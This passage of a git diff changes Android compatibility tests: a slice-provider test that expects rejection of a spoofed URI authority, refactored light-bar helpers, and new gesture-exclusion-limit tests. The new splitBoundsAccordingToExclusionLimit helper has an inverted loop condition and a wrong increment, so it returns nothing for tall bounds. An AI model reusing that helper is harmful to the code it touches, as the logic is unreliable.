+import android.app.slice.SliceSpec
+import android.content.ContentResolver
+import android.net.Uri
+import android.os.Bundle
+
+import androidx.test.rule.ActivityTestRule
+import androidx.test.runner.AndroidJUnit4
+import org.junit.Before
+
+import org.junit.Rule
+import org.junit.Test
+import org.junit.runner.RunWith
+
+private const val VALID_AUTHORITY = "android.slice.cts"
+private const val SUSPICIOUS_AUTHORITY = "com.suspicious.www"
+private const val ACTION_BLUETOOTH = "/action/bluetooth"
+private const val VALID_BASE_URI_STRING = "content://$VALID_AUTHORITY"
+private const val VALID_ACTION_URI_STRING = "content://$VALID_AUTHORITY$ACTION_BLUETOOTH"
+private const val SHADY_ACTION_URI_STRING = "content://$SUSPICIOUS_AUTHORITY$ACTION_BLUETOOTH"
+
+@RunWith(AndroidJUnit4::class)
+class SliceProviderTest {
+
+    @Rule @JvmField var activityTestRule = ActivityTestRule(Launcher::class.java)
+
+    private val validBaseUri = Uri.parse(VALID_BASE_URI_STRING)
+    private val validActionUri = Uri.parse(VALID_ACTION_URI_STRING)
+    private val shadyActionUri = Uri.parse(SHADY_ACTION_URI_STRING)
+
+    private lateinit var contentResolver: ContentResolver
+
+    @Before
+    fun setUp() {
+        contentResolver = activityTestRule.activity.contentResolver
+    }
+
+    @Test
+    fun testCallSliceUri_ValidAuthority() {
+        doQuery(validActionUri)
+    }
+
+    @Test(expected = SecurityException::class)
+    fun testCallSliceUri_ShadyAuthority() {
+        doQuery(shadyActionUri)
+    }
+
+    private fun doQuery(actionUri: Uri): Slice {
+        val extras = Bundle().apply {
+            putParcelable("slice_uri", actionUri)
+            putParcelableArrayList("supported_specs", ArrayList(listOf(
+                    SliceSpec("androidx.slice.LIST", 1),
+                    SliceSpec("androidx.app.slice.BASIC", 1),
+                    SliceSpec("androidx.slice.BASIC", 1),
+                    SliceSpec("androidx.app.slice.LIST", 1)
+            )))
+        }
+        val result = contentResolver.call(
+                validBaseUri,
+                SliceProvider.METHOD_SLICE,
+                null,
+                extras
+        )
+        return result.getParcelable(SliceProvider.EXTRA_SLICE)
+    }
+}
diff --git a/tests/tests/systemui/Android.mk b/tests/tests/systemui/Android.mk
index 5b519b2..6bb72ec 100644
--- a/tests/tests/systemui/Android.mk
+++ b/tests/tests/systemui/Android.mk
@@ -27,7 +27,9 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util-axt \
     ctstestrunner-axt \
+    cts-wm-util \
     androidx.test.rules \
     ub-uiautomator
 
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
index dbf3e76..9da89be 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
@@ -94,64 +94,6 @@
         }
     }
 
-    private boolean hasVirtualNavigationBar(ActivityTestRule<? extends LightBarBaseActivity> rule)
-            throws Throwable {
-        final WindowInsets[] inset = new WindowInsets[1];
-        rule.runOnUiThread(()-> {
-            inset[0] = rule.getActivity().getRootWindowInsets();
-        });
-        return inset[0].getStableInsetBottom() > 0;
-    }
-
-    private boolean isRunningInVr() {
-        final Context context = InstrumentationRegistry.getContext();
-        final Configuration config = context.getResources().getConfiguration();
-        return (config.uiMode & Configuration.UI_MODE_TYPE_MASK)
-                == Configuration.UI_MODE_TYPE_VR_HEADSET;
-    }
-
-    private void assumeBasics() {
-        final PackageManager pm = getInstrumentation().getContext().getPackageManager();
-
-        // No bars on embedded devices.
-        assumeFalse(getInstrumentation().getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_EMBEDDED));
-
-        // No bars on TVs and watches.
-        // Automotive navigation bar is not transparent
-        assumeFalse(pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
-                || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
-                || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
-                || pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
-
-
-        // Non-highEndGfx devices don't do colored system bars.
-        assumeTrue(ActivityManager.isHighEndGfx());
-    }
-
-    protected void assumeHasColoredStatusBar(ActivityTestRule<? extends LightBarBaseActivity> rule)
-            throws Throwable {
-        assumeBasics();
-
-        // No status bar when running in Vr
-        assumeFalse(isRunningInVr());
-
-        // Status bar exists only when top stable inset is positive
-        final WindowInsets[] inset = new WindowInsets[1];
-        rule.runOnUiThread(()-> {
-            inset[0] = rule.getActivity().getRootWindowInsets();
-        });
-        assumeTrue("Top stable inset is non-positive.", inset[0].getStableInsetTop() > 0);
-    }
-
-    protected void assumeHasColoredNavigationBar(
-            ActivityTestRule<? extends LightBarBaseActivity> rule) throws Throwable {
-        assumeBasics();
-
-        // No virtual navigation bar, so no effect.
-        assumeTrue(hasVirtualNavigationBar(rule));
-    }
-
     protected void checkNavigationBarDivider(LightBarBaseActivity activity, int dividerColor,
             int backgroundColor, String methodName) {
         final Bitmap bitmap = takeNavigationBarScreenshot(activity);
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index 95573d1..137c003 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -16,6 +16,9 @@
 
 package android.systemui.cts;
 
+import static android.server.wm.BarTestUtils.assumeHasColoredNavigationBar;
+import static android.server.wm.BarTestUtils.assumeHasColoredStatusBar;
+
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assert.assertTrue;
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
index f8036f2..7da28d0 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
@@ -16,6 +16,8 @@
 
 package android.systemui.cts;
 
+import static android.server.wm.BarTestUtils.assumeHasColoredNavigationBar;
+
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assert.assertEquals;
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java
index 7543c20..e4c6b07 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java
@@ -43,7 +43,6 @@
     private static final int DISPLAY_CUTOUT_SLACK_DP = 20;
 
     private TextView mContent;
-    private boolean mIsSetViewBound;
     private WindowInsets mContentWindowInsets;
     private WindowInsets mDecorViewWindowInsets;
     private Rect mDecorBound;
@@ -164,25 +163,21 @@
      * To present the WindowInsets information to mContent.
      * To show all of results of getSystemWindowInsets(), getMandatorySytemGestureInsets(),
      * getSystemGestureInsets(), getTappableElementsInsets() and the exclude rects
+     *
+     * @param rect the rectangle want to add or pass into to setSystemGestureExclusionRects
      */
     @MainThread
-    public void setSystemGestureExclusion(boolean isSetViewBoundary) {
-        mIsSetViewBound = isSetViewBoundary;
+    public void setSystemGestureExclusion(Rect rect) {
         List<Rect> rects = new ArrayList<>();
-        if (mIsSetViewBound) {
-            rects.add(new Rect(0 /* content view full match activity's width*/,
-                    0 /* content view full match activity's height */,
-                    mContent.getWidth(),
-                    mContent.getHeight()));
+        if (rect != null) {
+            rects.add(rect);
         }
-
         getContentView().setSystemGestureExclusionRects(rects);
         showInfoInTextView();
     }
 
     private void showInfoInTextView() {
         StringBuilder sb = new StringBuilder();
-        sb.append(mIsSetViewBound ? "setSystemGestureExclusionRects" : "no set").append("\n");
         sb.append("exclude rect list = " + Arrays.deepToString(mContent
                 .getSystemGestureExclusionRects().toArray())).append("\n");
 
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
index 2ca4156..3645bae 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
@@ -16,22 +16,35 @@
 
 package android.systemui.cts;
 
+import static android.provider.DeviceConfig.NAMESPACE_WINDOW_MANAGER;
+import static android.provider.DeviceConfig.WindowManager.KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP;
+import static android.view.View.SYSTEM_UI_CLEARABLE_FLAGS;
+import static android.view.View.SYSTEM_UI_FLAG_FULLSCREEN;
+import static android.view.View.SYSTEM_UI_FLAG_HIDE_NAVIGATION;
+import static android.view.View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY;
+import static android.view.View.SYSTEM_UI_FLAG_VISIBLE;
+
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static junit.framework.Assert.assertEquals;
 import static junit.framework.TestCase.fail;
 
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
+import static java.util.concurrent.TimeUnit.SECONDS;
+
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.content.res.Resources;
+import android.graphics.Insets;
 import android.graphics.Point;
 import android.graphics.Rect;
 import android.hardware.display.DisplayManager;
 import android.os.Bundle;
+import android.provider.DeviceConfig;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
@@ -40,12 +53,19 @@
 import android.util.ArrayMap;
 import android.util.DisplayMetrics;
 import android.view.Display;
+import android.view.View;
+import android.view.ViewTreeObserver;
 import android.view.WindowInsets;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.ThrowingRunnable;
+
+import com.google.common.collect.Lists;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
@@ -53,12 +73,12 @@
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
+import java.util.ArrayList;
 import java.util.List;
 import java.util.Map;
 import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.function.Consumer;
 import java.util.function.BiConsumer;
+import java.util.function.Consumer;
 
 @RunWith(AndroidJUnit4.class)
 public class WindowInsetsBehaviorTests {
@@ -69,11 +89,17 @@
     private static final int STEPS = 10;
     private static final int DIP_INTERVAL = 40;
 
+    // The minimum value of the system gesture exclusion limit is 200 dp. The value here should be
+    // greater than that, so that we can test if the limit can be changed by DeviceConfig or not.
+    private static final int EXCLUSION_LIMIT_DP = 210;
+
     private final boolean mForceEnableGestureNavigation;
     private final Map<String, Boolean> mSystemGestureOptionsMap;
     private float mPixelsPerDp;
+    private int mDisplayWidth;
+    private int mExclusionLimit;
     private UiDevice mDevice;
-    private Rect mDragBound;
+    private Rect mSwipeBound;
     private String mEdgeToEdgeNavigationTitle;
     private String mSystemNavigationTitle;
     private String mGesturePreferenceTitle;
@@ -257,6 +283,8 @@
         final DisplayMetrics metrics = new DisplayMetrics();
         display.getRealMetrics(metrics);
         mPixelsPerDp = metrics.density;
+        mDisplayWidth = metrics.widthPixels;
+        mExclusionLimit = (int) (EXCLUSION_LIMIT_DP * mPixelsPerDp);
 
         // To setup the Edge to Edge environment by do the operation on Settings
         boolean isOperatedSettingsToExpectedOption = launchToSettingsSystemGesture();
@@ -284,7 +312,7 @@
         mActivity.setInitialFinishCallBack(isFinish -> latch.countDown());
         mDevice.waitForIdle();
 
-        latch.await(5, TimeUnit.SECONDS);
+        latch.await(5, SECONDS);
     }
 
     /**
@@ -311,8 +339,8 @@
     }
 
 
-    private void dragByUiDevice(Point p1, Point p2) {
-        mDevice.drag(p1.x, p1.y, p2.x, p2.y, STEPS);
+    private void swipeByUiDevice(Point p1, Point p2) {
+        mDevice.swipe(p1.x, p1.y, p2.x, p2.y, STEPS);
     }
 
     private void clickAndWaitByUiDevice(Point p) {
@@ -327,7 +355,7 @@
 
         /* wait until the OnClickListener triggered, and then click the next point */
         try {
-            latch.await(5, TimeUnit.SECONDS);
+            latch.await(5, SECONDS);
         } catch (InterruptedException e) {
             fail("Wait too long and onClickEvent doesn't receive");
         }
@@ -337,7 +365,7 @@
         }
     }
 
-    private int dragBigX(Rect viewBoundary, BiConsumer<Point, Point> callback) {
+    private int swipeBigX(Rect viewBoundary, BiConsumer<Point, Point> callback) {
         final int theLeftestLine = viewBoundary.left + 1;
         final int theToppestLine = viewBoundary.top + 1;
         final int theRightestLine = viewBoundary.right - 1;
@@ -395,7 +423,7 @@
         return count;
     }
 
-    private int dragAllOfHorizontalLinesFromLeftToRight(Rect viewBoundary,
+    private int swipeAllOfHorizontalLinesFromLeftToRight(Rect viewBoundary,
             BiConsumer<Point, Point> callback) {
         final int theLeftestLine = viewBoundary.left + 1;
         final int theToppestLine = viewBoundary.top + 1;
@@ -421,7 +449,7 @@
         return count;
     }
 
-    private int dragAllOfHorizontalLinesFromRightToLeft(Rect viewBoundary,
+    private int swipeAllOfHorizontalLinesFromRightToLeft(Rect viewBoundary,
             BiConsumer<Point, Point> callback) {
         final int theToppestLine = viewBoundary.top + 1;
         final int theRightestLine = viewBoundary.right - 1;
@@ -446,16 +474,16 @@
         return count;
     }
 
-    private int dragAllOfHorizontalLines(Rect viewBoundary, BiConsumer<Point, Point> callback) {
+    private int swipeAllOfHorizontalLines(Rect viewBoundary, BiConsumer<Point, Point> callback) {
         int count = 0;
 
-        count += dragAllOfHorizontalLinesFromLeftToRight(viewBoundary, callback);
-        count += dragAllOfHorizontalLinesFromRightToLeft(viewBoundary, callback);
+        count += swipeAllOfHorizontalLinesFromLeftToRight(viewBoundary, callback);
+        count += swipeAllOfHorizontalLinesFromRightToLeft(viewBoundary, callback);
 
         return count;
     }
 
-    private int dragAllOfVerticalLinesFromTopToBottom(Rect viewBoundary,
+    private int swipeAllOfVerticalLinesFromTopToBottom(Rect viewBoundary,
             BiConsumer<Point, Point> callback) {
         final int theLeftestLine = viewBoundary.left + 1;
         final int theToppestLine = viewBoundary.top + 1;
@@ -480,7 +508,7 @@
         return count;
     }
 
-    private int dragAllOfVerticalLinesFromBottomToTop(Rect viewBoundary,
+    private int swipeAllOfVerticalLinesFromBottomToTop(Rect viewBoundary,
             BiConsumer<Point, Point> callback) {
         final int theLeftestLine = viewBoundary.left + 1;
         final int theRightestLine = viewBoundary.right - 1;
@@ -505,40 +533,71 @@
         return count;
     }
 
-    private int dragAllOfVerticalLines(Rect viewBoundary, BiConsumer<Point, Point> callback) {
+    private int swipeAllOfVerticalLines(Rect viewBoundary, BiConsumer<Point, Point> callback) {
         int count = 0;
 
-        count += dragAllOfVerticalLinesFromTopToBottom(viewBoundary, callback);
-        count += dragAllOfVerticalLinesFromBottomToTop(viewBoundary, callback);
+        count += swipeAllOfVerticalLinesFromTopToBottom(viewBoundary, callback);
+        count += swipeAllOfVerticalLinesFromBottomToTop(viewBoundary, callback);
 
         return count;
     }
 
-    private int dragInViewBoundary(Rect viewBoundary, BiConsumer<Point, Point> callback) {
+    private int swipeInViewBoundary(Rect viewBoundary, BiConsumer<Point, Point> callback) {
         int count = 0;
 
-        count += dragBigX(viewBoundary, callback);
-        count += dragAllOfHorizontalLines(viewBoundary, callback);
-        count += dragAllOfVerticalLines(viewBoundary, callback);
+        count += swipeBigX(viewBoundary, callback);
+        count += swipeAllOfHorizontalLines(viewBoundary, callback);
+        count += swipeAllOfVerticalLines(viewBoundary, callback);
 
         return count;
     }
 
-    private int dragInViewBoundary(Rect viewBoundary) {
-        return dragInViewBoundary(viewBoundary, this::dragByUiDevice);
+    private int swipeInViewBoundary(Rect viewBoundary) {
+        return swipeInViewBoundary(viewBoundary, this::swipeByUiDevice);
+    }
+
+    private List<Rect> splitBoundsAccordingToExclusionLimit(Rect rect) {
+        final int exclusionHeightLimit = (int) (getPropertyOfMaxExclusionHeight() * mPixelsPerDp
+                + 0.5f);
+
+        final List<Rect> bounds = new ArrayList<>();
+        if (rect.height() < exclusionHeightLimit) {
+            bounds.add(rect);
+            return bounds;
+        }
+
+        int nextTop = rect.top;
+        while (nextTop >= rect.bottom) {
+            final int top = nextTop;
+            int bottom = top + exclusionHeightLimit;
+            if (bottom > rect.bottom) {
+                bottom = rect.bottom;
+            }
+
+            bounds.add(new Rect(rect.left, top, rect.right, bottom));
+
+            nextTop += bottom;
+        }
+
+        return bounds;
     }
 
     @Test
-    public void mandatorySystemGesture_excludeViewRects_withoutAnyCancel() {
+    public void mandatorySystemGesture_excludeViewRects_withoutAnyCancel()
+            throws InterruptedException {
         assumeTrue(hasSystemGestureFeature());
 
-        mainThreadRun(() -> mActivity.setSystemGestureExclusion(true));
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
-        mainThreadRun(() -> mDragBound = mActivity.getOperationArea(
+        mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
                 mContentViewWindowInsets.getMandatorySystemGestureInsets(),
                 mContentViewWindowInsets));
 
-        int dragCount = dragInViewBoundary(mDragBound);
+        final List<Rect> swipeBounds = splitBoundsAccordingToExclusionLimit(mSwipeBound);
+        int swipeCount = 0;
+        for (Rect swipeBound : swipeBounds) {
+            setAndWaitForSystemGestureExclusionRectsListenerTrigger(swipeBound);
+            swipeCount += swipeInViewBoundary(swipeBound);
+        }
 
         mainThreadRun(() -> {
             mActionDownPoints = mActivity.getActionDownPoints();
@@ -548,20 +607,24 @@
         mScreenshotTestRule.capture();
 
         assertEquals(0, mActionCancelPoints.size());
-        assertEquals(dragCount, mActionUpPoints.size());
-        assertEquals(dragCount, mActionDownPoints.size());
+        assertEquals(swipeCount, mActionUpPoints.size());
+        assertEquals(swipeCount, mActionDownPoints.size());
     }
 
     @Test
     public void systemGesture_notExcludeViewRects_withoutAnyCancel() {
         assumeTrue(hasSystemGestureFeature());
 
-        mainThreadRun(() -> mActivity.setSystemGestureExclusion(false));
+        mainThreadRun(() -> mActivity.setSystemGestureExclusion(null));
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
-        mainThreadRun(() -> mDragBound = mActivity.getOperationArea(
+        mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
                 mContentViewWindowInsets.getSystemGestureInsets(), mContentViewWindowInsets));
 
-        int dragCount = dragInViewBoundary(mDragBound);
+        final List<Rect> swipeBounds = splitBoundsAccordingToExclusionLimit(mSwipeBound);
+        int swipeCount = 0;
+        for (Rect swipeBound : swipeBounds) {
+            swipeCount += swipeInViewBoundary(swipeBound);
+        }
 
         mainThreadRun(() -> {
             mActionDownPoints = mActivity.getActionDownPoints();
@@ -571,20 +634,23 @@
         mScreenshotTestRule.capture();
 
         assertEquals(0, mActionCancelPoints.size());
-        assertEquals(dragCount, mActionUpPoints.size());
-        assertEquals(dragCount, mActionDownPoints.size());
+        assertEquals(swipeCount, mActionUpPoints.size());
+        assertEquals(swipeCount, mActionDownPoints.size());
     }
 
     @Test
-    public void tappableElements_tapSamplePoints_excludeViewRects_withoutAnyCancel() {
+    public void tappableElements_tapSamplePoints_excludeViewRects_withoutAnyCancel()
+            throws InterruptedException {
         assumeTrue(hasSystemGestureFeature());
 
-        mainThreadRun(() -> mActivity.setSystemGestureExclusion(true));
+        final Rect[] rects = new Rect[1];
+        mainThreadRun(() -> rects[0] = mActivity.getViewBound(mActivity.getContentView()));
+        setAndWaitForSystemGestureExclusionRectsListenerTrigger(rects[0]);
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
-        mainThreadRun(() -> mDragBound = mActivity.getOperationArea(
+        mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
                 mContentViewWindowInsets.getTappableElementInsets(), mContentViewWindowInsets));
 
-        int count = clickAllOfSamplePoints(mDragBound, this::clickAndWaitByUiDevice);
+        final int count = clickAllOfSamplePoints(mSwipeBound, this::clickAndWaitByUiDevice);
 
         mainThreadRun(() -> {
             mClickCount = mActivity.getClickCount();
@@ -601,12 +667,12 @@
     public void tappableElements_tapSamplePoints_notExcludeViewRects_withoutAnyCancel() {
         assumeTrue(hasSystemGestureFeature());
 
-        mainThreadRun(() -> mActivity.setSystemGestureExclusion(false));
+        mainThreadRun(() -> mActivity.setSystemGestureExclusion(null));
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
-        mainThreadRun(() -> mDragBound = mActivity.getOperationArea(
+        mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
                 mContentViewWindowInsets.getTappableElementInsets(), mContentViewWindowInsets));
 
-        int count = clickAllOfSamplePoints(mDragBound, this::clickAndWaitByUiDevice);
+        final int count = clickAllOfSamplePoints(mSwipeBound, this::clickAndWaitByUiDevice);
 
         mainThreadRun(() -> {
             mClickCount = mActivity.getClickCount();
@@ -618,4 +684,181 @@
         assertEquals("The Number of the canceled points not match", 0,
                 mActionCancelPoints.size());
     }
+
+    @Test
+    public void swipeInsideLimit_systemUiVisible_noEventCanceled() throws Throwable {
+        final int swipeCount = 1;
+        final boolean insideLimit = true;
+        testSystemGestureExclusionLimit(swipeCount, insideLimit, SYSTEM_UI_FLAG_VISIBLE);
+
+        assertEquals("Swipe must not be canceled.", 0, mActionCancelPoints.size());
+        assertEquals("Action up points.", swipeCount, mActionUpPoints.size());
+        assertEquals("Action down points.", swipeCount, mActionDownPoints.size());
+    }
+
+    @Test
+    public void swipeOutsideLimit_systemUiVisible_allEventsCanceled() throws Throwable {
+        final int swipeCount = 1;
+        final boolean insideLimit = false;
+        testSystemGestureExclusionLimit(swipeCount, insideLimit, SYSTEM_UI_FLAG_VISIBLE);
+
+        assertEquals("Swipe must be always canceled.", swipeCount, mActionCancelPoints.size());
+        assertEquals("Action up points.", 0, mActionUpPoints.size());
+        assertEquals("Action down points.", swipeCount, mActionDownPoints.size());
+    }
+
+    @Test
+    public void swipeInsideLimit_immersiveSticky_noEventCanceled() throws Throwable {
+        // The first event may be never canceled. So we need to swipe at least twice.
+        final int swipeCount = 2;
+        final boolean insideLimit = true;
+        testSystemGestureExclusionLimit(swipeCount, insideLimit, SYSTEM_UI_FLAG_IMMERSIVE_STICKY
+                | SYSTEM_UI_FLAG_FULLSCREEN | SYSTEM_UI_FLAG_HIDE_NAVIGATION);
+
+        assertEquals("Swipe must not be canceled.", 0, mActionCancelPoints.size());
+        assertEquals("Action up points.", swipeCount, mActionUpPoints.size());
+        assertEquals("Action down points.", swipeCount, mActionDownPoints.size());
+    }
+
+    @Test
+    public void swipeOutsideLimit_immersiveSticky_noEventCanceled() throws Throwable {
+        // The first event may be never canceled. So we need to swipe at least twice.
+        final int swipeCount = 2;
+        final boolean insideLimit = false;
+        testSystemGestureExclusionLimit(swipeCount, insideLimit, SYSTEM_UI_FLAG_IMMERSIVE_STICKY
+                | SYSTEM_UI_FLAG_FULLSCREEN | SYSTEM_UI_FLAG_HIDE_NAVIGATION);
+
+        assertEquals("Swipe must not be canceled.", 0, mActionCancelPoints.size());
+        assertEquals("Action up points.", swipeCount, mActionUpPoints.size());
+        assertEquals("Action down points.", swipeCount, mActionDownPoints.size());
+    }
+
+    private void testSystemGestureExclusionLimit(int swipeCount, boolean insideLimit,
+            int systemUiVisibility) throws Throwable {
+        final int shiftY = insideLimit ? 1 : -1;
+        assumeGestureNavigation();
+        doInExclusionLimitSession(() -> {
+            setSystemUiVisibility(systemUiVisibility);
+            setAndWaitForSystemGestureExclusionRectsListenerTrigger(null);
+
+            // The limit is consumed from bottom to top.
+            final int[] bottom = new int[1];
+            mainThreadRun(() -> {
+                final View rootView = mActivity.getWindow().getDecorView();
+                bottom[0] = rootView.getLocationOnScreen()[1] + rootView.getHeight();
+            });
+            final int swipeY = bottom[0] - mExclusionLimit + shiftY;
+
+            for (int i = 0; i < swipeCount; i++) {
+                swipeFromLeftToRight(swipeY, mDisplayWidth);
+            }
+
+            mainThreadRun(() -> {
+                mActionDownPoints = mActivity.getActionDownPoints();
+                mActionUpPoints = mActivity.getActionUpPoints();
+                mActionCancelPoints = mActivity.getActionCancelPoints();
+            });
+        });
+    }
+
+    private void assumeGestureNavigation() {
+        final Insets[] insets = new Insets[1];
+        mainThreadRun(() -> {
+            final View view = mActivity.getWindow().getDecorView();
+            insets[0] = view.getRootWindowInsets().getSystemGestureInsets();
+        });
+        assumeTrue("Gesture navigation required.", insets[0].left > 0);
+    }
+
+    /**
+     * Set system UI visibility and wait for it is applied by the system.
+     *
+     * @param flags the visibility flags.
+     * @throws InterruptedException when the test gets aborted.
+     */
+    private void setSystemUiVisibility(int flags) throws InterruptedException {
+        final CountDownLatch flagsApplied = new CountDownLatch(1);
+        final int targetFlags = SYSTEM_UI_CLEARABLE_FLAGS & flags;
+        mainThreadRun(() -> {
+            final View view = mActivity.getWindow().getDecorView();
+            if ((view.getSystemUiVisibility() & SYSTEM_UI_CLEARABLE_FLAGS) == targetFlags) {
+                // System UI visibility is already what we want. Stop waiting for the callback.
+                flagsApplied.countDown();
+                return;
+            }
+            view.setOnSystemUiVisibilityChangeListener(visibility -> {
+                if (visibility == targetFlags) {
+                    flagsApplied.countDown();
+                }
+            });
+            view.setSystemUiVisibility(flags);
+        });
+        assertTrue("System UI visibility must be applied.", flagsApplied.await(3, SECONDS));
+    }
+
+    /**
+     * Set an exclusion rectangle and wait for it is applied by the system.
+     * <p>
+     *     if the parameter rect doesn't provide or is null, the decorView will be used to set into
+     *     the exclusion rects.
+     * </p>
+     *
+     * @param rect the rectangle that is added into the system gesture exclusion rects.
+     * @throws InterruptedException when the test gets aborted.
+     */
+    private void setAndWaitForSystemGestureExclusionRectsListenerTrigger(Rect rect)
+            throws InterruptedException {
+        final CountDownLatch exclusionApplied = new CountDownLatch(1);
+        mainThreadRun(() -> {
+            final View view = mActivity.getWindow().getDecorView();
+            final ViewTreeObserver vto = view.getViewTreeObserver();
+            vto.addOnSystemGestureExclusionRectsChangedListener(
+                    rects -> exclusionApplied.countDown());
+            Rect exclusiveRect = new Rect(0, 0, view.getWidth(), view.getHeight());
+            if (rect != null) {
+                exclusiveRect = rect;
+            }
+            view.setSystemGestureExclusionRects(Lists.newArrayList(exclusiveRect));
+        });
+        assertTrue("Exclusion must be applied.", exclusionApplied.await(3, SECONDS));
+    }
+
+    private void swipeFromLeftToRight(int y, int distance) {
+        mDevice.swipe(0, y, distance, y, STEPS);
+    }
+
+    private static int getPropertyOfMaxExclusionHeight() {
+        final int[] originalLimitDp = new int[1];
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            originalLimitDp[0] = DeviceConfig.getInt(NAMESPACE_WINDOW_MANAGER,
+                    KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP, -1);
+            DeviceConfig.setProperty(
+                    NAMESPACE_WINDOW_MANAGER,
+                    KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP,
+                    Integer.toString(EXCLUSION_LIMIT_DP), false /* makeDefault */);
+        });
+
+        return originalLimitDp[0];
+    }
+
+    /**
+     * Run the given task while the system gesture exclusion limit has been changed to
+     * {@link #EXCLUSION_LIMIT_DP}, and then restore the value while the task is finished.
+     *
+     * @param task the task to be run.
+     * @throws Throwable when something goes unexpectedly.
+     */
+    private static void doInExclusionLimitSession(ThrowingRunnable task) throws Throwable {
+        int originalLimitDp = getPropertyOfMaxExclusionHeight();
+        try {
+            task.run();
+        } finally {
+            // Restore the value
+            SystemUtil.runWithShellPermissionIdentity(() -> DeviceConfig.setProperty(
+                    NAMESPACE_WINDOW_MANAGER,
+                    KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP,
+                    (originalLimitDp != -1) ? Integer.toString(originalLimitDp) : null,
+                    false /* makeDefault */));
+        }
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
index 1abef13..6ae927b 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
@@ -41,6 +41,8 @@
 import android.telecom.cts.redirectiontestapp.ICtsCallRedirectionServiceController;
 import android.text.TextUtils;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
@@ -194,6 +196,7 @@
     /**
      * Use RoleManager to query the previous call redirection app so we can restore it later.
      */
+    @CddTest(requirement ="3.2.3.5/C-2-5")
     private void rememberPreviousCallRedirectionApp() {
         runWithShellPermissionIdentity(() -> {
             List<String> callRedirectionApps = mRoleManager.getRoleHolders(ROLE_CALL_REDIRECTION);
@@ -205,6 +208,7 @@
         });
     }
 
+    @CddTest(requirement="3.2.3.5/C-2-4")
     private void addRoleHolder(String roleName, String packageName) throws Exception {
         UserHandle user = Process.myUserHandle();
         Executor executor = mContext.getMainExecutor();
diff --git a/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
index cc64987..a73737f 100644
--- a/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
@@ -19,13 +19,20 @@
 import android.content.ComponentName;
 import android.content.ContentValues;
 import android.content.Context;
+import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
 import android.provider.VoicemailContract.Voicemails;
+import android.support.test.uiautomator.By;
